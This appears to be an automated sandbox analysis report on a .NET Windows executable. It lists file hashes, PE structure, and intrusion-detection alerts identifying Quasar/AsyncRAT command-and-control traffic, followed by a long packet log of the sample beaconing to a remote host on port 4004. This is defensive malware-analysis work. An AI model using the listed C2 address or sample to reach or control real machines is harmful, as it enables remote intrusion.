Preview:	..Waiting for 2 seconds, press CTRL+C to quit ....1.0..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.078613024479684
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Dd5DwDCHJD.exe
File size:	3'268'096 bytes
MD5:	6d6c9c719e2f757442374af378c343a7
SHA1:	a58a2aa6dae2dbdf64472614985cac2adce4eddb
SHA256:	444c97f6db0626069965d9e4ddb4bf315326954c51b123b3dc7d64084e7fb646
SHA512:	a3ef795e64b1d43ca300da97abc7d211e5987064c1c7cafa7a1dadcd1cb35902fb230f5b8e9a008ced4bc1d33573403bad2d99a4ccca9b6b749355110eb10210
SSDEEP:	49152:HwElUPhZwv68DkG17WlqTz5oqM/p7vGJfAHdkTHHB72eh2NT:HwYUPhZwv68DkG17WlqTzeqM/p6t
TLSH:	4BE55B0437F85E33E57BE673D1B0941667F0F82AF363EB1B6581A67A1C93B5088016A7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... hg..................1...........1.. ........@.. .......................@2...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x71ed1e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x676820E8 [Sun Dec 22 14:23:36 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x31ecc8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x320000	0xa3c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x322000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x31cd24	0x31ce00	61c26eb3a56aa61ee899e8e623c17651	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x320000	0xa3c	0xc00	21ff5d9aeccd97851790503fd7cc302c	False	0.3525390625	data	5.265085012255726	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x322000	0xc	0x200	55f4c511ac38a8c1f5a730921c87e94d	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x3200a0	0x2c4	data			0.4364406779661017
RT_MANIFEST	0x320364	0x6d7	XML 1.0 document, Unicode text, UTF-8 (with BOM) text			0.40319817247287265

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-01T05:57:09.322571+0100	2027619	ET MALWARE Observed Malicious SSL Cert (Quasar CnC)	1	193.31.28.181	4004	192.168.2.4	49731	TCP
2025-01-01T05:57:09.322571+0100	2035595	ET MALWARE Generic AsyncRAT Style SSL Cert	1	193.31.28.181	4004	192.168.2.4	49731	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 1, 2025 05:57:04.061592102 CET	49730	80	192.168.2.4	45.83.244.141
Jan 1, 2025 05:57:04.066601992 CET	80	49730	45.83.244.141	192.168.2.4
Jan 1, 2025 05:57:04.066706896 CET	49730	80	192.168.2.4	45.83.244.141
Jan 1, 2025 05:57:04.067773104 CET	49730	80	192.168.2.4	45.83.244.141
Jan 1, 2025 05:57:04.072586060 CET	80	49730	45.83.244.141	192.168.2.4
Jan 1, 2025 05:57:04.685983896 CET	80	49730	45.83.244.141	192.168.2.4
Jan 1, 2025 05:57:04.740004063 CET	49730	80	192.168.2.4	45.83.244.141
Jan 1, 2025 05:57:08.335727930 CET	49730	80	192.168.2.4	45.83.244.141
Jan 1, 2025 05:57:08.635449886 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:08.640389919 CET	4004	49731	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:08.640873909 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:08.653297901 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:08.658092022 CET	4004	49731	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:09.290640116 CET	4004	49731	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:09.290661097 CET	4004	49731	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:09.290873051 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:09.317305088 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:09.322571039 CET	4004	49731	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:09.502640009 CET	4004	49731	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:09.693068981 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:10.755537987 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:10.760555029 CET	4004	49731	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:10.760662079 CET	49731	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:14.365442991 CET	49733	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:14.370387077 CET	4004	49733	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:14.370462894 CET	49733	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:14.371066093 CET	49733	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:14.375890017 CET	4004	49733	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:15.011060953 CET	4004	49733	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:15.011780977 CET	49733	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:15.012751102 CET	49733	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:15.016582012 CET	4004	49733	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:15.017674923 CET	4004	49733	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:15.017832994 CET	49733	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:18.365326881 CET	49734	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:18.370225906 CET	4004	49734	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:18.370301962 CET	49734	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:18.370583057 CET	49734	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:18.375428915 CET	4004	49734	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:18.990139008 CET	4004	49734	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:18.993341923 CET	49734	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:18.993341923 CET	49734	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:18.998182058 CET	4004	49734	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:18.998415947 CET	4004	49734	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:18.999627113 CET	49734	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:22.569411993 CET	49740	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:22.574261904 CET	4004	49740	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:22.575186968 CET	49740	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:22.579317093 CET	49740	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:22.584116936 CET	4004	49740	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:23.192033052 CET	4004	49740	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:23.192794085 CET	49740	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:23.197592020 CET	4004	49740	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:23.221518040 CET	49740	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:23.226558924 CET	4004	49740	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:23.229650021 CET	49740	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:26.506046057 CET	49742	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:26.511070013 CET	4004	49742	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:26.511159897 CET	49742	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:26.511457920 CET	49742	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:26.516246080 CET	4004	49742	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:27.142672062 CET	4004	49742	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:27.146542072 CET	49742	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:27.147542000 CET	49742	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:27.151374102 CET	4004	49742	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:27.152607918 CET	4004	49742	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:27.152667046 CET	49742	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:30.771599054 CET	49743	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:30.776757956 CET	4004	49743	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:30.776864052 CET	49743	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:30.777231932 CET	49743	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:30.782001019 CET	4004	49743	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:31.392684937 CET	4004	49743	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:31.393234968 CET	49743	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:31.394085884 CET	49743	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:31.398133039 CET	4004	49743	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:31.399149895 CET	4004	49743	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:31.399204016 CET	49743	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:35.146599054 CET	49744	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:35.151526928 CET	4004	49744	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:35.151598930 CET	49744	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:35.151865005 CET	49744	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:35.156677961 CET	4004	49744	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:35.791385889 CET	4004	49744	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:35.791990995 CET	49744	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:35.792968035 CET	49744	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:35.796807051 CET	4004	49744	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:35.797961950 CET	4004	49744	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:35.798012018 CET	49744	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:39.361212015 CET	49745	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:39.366209984 CET	4004	49745	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:39.366314888 CET	49745	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:39.413645029 CET	49745	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:39.418498993 CET	4004	49745	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:39.985196114 CET	4004	49745	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:39.985786915 CET	49745	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:39.986721039 CET	49745	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:39.990653038 CET	4004	49745	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:39.991728067 CET	4004	49745	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:39.991781950 CET	49745	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:43.553164005 CET	49746	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:43.558136940 CET	4004	49746	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:43.561701059 CET	49746	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:43.563754082 CET	49746	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:43.568566084 CET	4004	49746	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:44.200710058 CET	4004	49746	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:44.201407909 CET	49746	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:44.202384949 CET	49746	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:44.206245899 CET	4004	49746	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:44.207475901 CET	4004	49746	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:44.207518101 CET	49746	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:47.631046057 CET	49747	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:47.635947943 CET	4004	49747	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:47.636025906 CET	49747	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:47.636312008 CET	49747	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:47.641052961 CET	4004	49747	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:48.255856991 CET	4004	49747	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:48.256414890 CET	49747	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:48.257368088 CET	49747	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:48.261220932 CET	4004	49747	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:48.262527943 CET	4004	49747	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:48.262582064 CET	49747	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:51.818608999 CET	49748	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:51.823554039 CET	4004	49748	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:51.823745012 CET	49748	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:51.823925972 CET	49748	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:51.828696966 CET	4004	49748	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:52.444901943 CET	4004	49748	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:52.445616007 CET	49748	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:52.446579933 CET	49748	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:52.450479984 CET	4004	49748	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:52.451756001 CET	4004	49748	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:52.451814890 CET	49748	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:55.787630081 CET	49749	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:55.792629004 CET	4004	49749	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:55.792732954 CET	49749	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:55.793005943 CET	49749	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:55.797847033 CET	4004	49749	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:56.426650047 CET	4004	49749	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:56.427287102 CET	49749	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:56.428390980 CET	49749	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:56.432071924 CET	4004	49749	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:56.433373928 CET	4004	49749	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:56.433424950 CET	49749	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:59.365585089 CET	49751	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:59.370533943 CET	4004	49751	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:59.373718977 CET	49751	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:59.374049902 CET	49751	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:59.378860950 CET	4004	49751	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:59.992435932 CET	4004	49751	193.31.28.181	192.168.2.4
Jan 1, 2025 05:57:59.994391918 CET	49751	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:59.995402098 CET	49751	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:57:59.999244928 CET	4004	49751	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:00.000350952 CET	4004	49751	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:00.001559019 CET	49751	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:02.687097073 CET	49764	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:02.691987038 CET	4004	49764	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:02.692065954 CET	49764	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:02.709929943 CET	49764	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:02.714684963 CET	4004	49764	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:03.310291052 CET	4004	49764	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:03.311059952 CET	49764	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:03.312369108 CET	49764	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:03.315867901 CET	4004	49764	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:03.317397118 CET	4004	49764	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:03.317456961 CET	49764	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:05.693727016 CET	49784	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:05.698576927 CET	4004	49784	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:05.698664904 CET	49784	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:05.698858976 CET	49784	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:05.703581095 CET	4004	49784	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:06.311429977 CET	4004	49784	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:06.312316895 CET	49784	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:06.313280106 CET	49784	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:06.317169905 CET	4004	49784	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:06.318193913 CET	4004	49784	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:06.318247080 CET	49784	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:08.427967072 CET	49803	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:08.432842016 CET	4004	49803	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:08.432919979 CET	49803	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:08.433216095 CET	49803	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:08.438010931 CET	4004	49803	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:09.061068058 CET	4004	49803	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:09.061522007 CET	49803	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:09.062426090 CET	49803	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:09.066394091 CET	4004	49803	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:09.067444086 CET	4004	49803	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:09.067507982 CET	49803	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:10.740483999 CET	49819	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:10.745273113 CET	4004	49819	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:10.745388031 CET	49819	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:10.745572090 CET	49819	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:10.750432014 CET	4004	49819	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:11.356995106 CET	4004	49819	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:11.358062029 CET	49819	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:11.358933926 CET	49819	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:11.362874985 CET	4004	49819	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:11.363877058 CET	4004	49819	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:11.363938093 CET	49819	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:12.833333015 CET	49833	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:12.838192940 CET	4004	49833	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:12.838267088 CET	49833	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:12.838469982 CET	49833	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:12.843301058 CET	4004	49833	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:13.461616039 CET	4004	49833	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:13.462239981 CET	49833	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:13.463334084 CET	49833	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:13.467031002 CET	4004	49833	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:13.468327999 CET	4004	49833	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:13.468368053 CET	49833	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:14.834356070 CET	49846	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:14.839190960 CET	4004	49846	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:14.839296103 CET	49846	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:14.839546919 CET	49846	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:14.844342947 CET	4004	49846	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:15.452366114 CET	4004	49846	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:15.453059912 CET	49846	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:15.454000950 CET	49846	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:15.457843065 CET	4004	49846	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:15.461815119 CET	4004	49846	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:15.461863041 CET	49846	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:16.693641901 CET	49862	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:16.698529959 CET	4004	49862	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:16.698616028 CET	49862	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:16.698782921 CET	49862	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:16.703591108 CET	4004	49862	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:17.317369938 CET	4004	49862	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:17.318052053 CET	49862	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:17.319008112 CET	49862	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:17.322870970 CET	4004	49862	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:17.323939085 CET	4004	49862	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:17.323997974 CET	49862	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:18.365617037 CET	49873	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:18.370600939 CET	4004	49873	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:18.370712996 CET	49873	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:18.376666069 CET	49873	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:18.381486893 CET	4004	49873	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:18.981646061 CET	4004	49873	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:18.982074976 CET	49873	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:18.982947111 CET	49873	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:18.986937046 CET	4004	49873	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:18.987926006 CET	4004	49873	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:18.987982988 CET	49873	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:19.959194899 CET	49884	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:19.964080095 CET	4004	49884	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:19.964157104 CET	49884	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:19.964448929 CET	49884	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:19.969291925 CET	4004	49884	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:20.599577904 CET	4004	49884	193.31.28.181	192.168.2.4
Jan 1, 2025 05:58:20.600591898 CET	49884	4004	192.168.2.4	193.31.28.181
Jan 1, 2025 05:58:20.601613998 CET	49884	4004	192.168.2.4	193.31.28.181
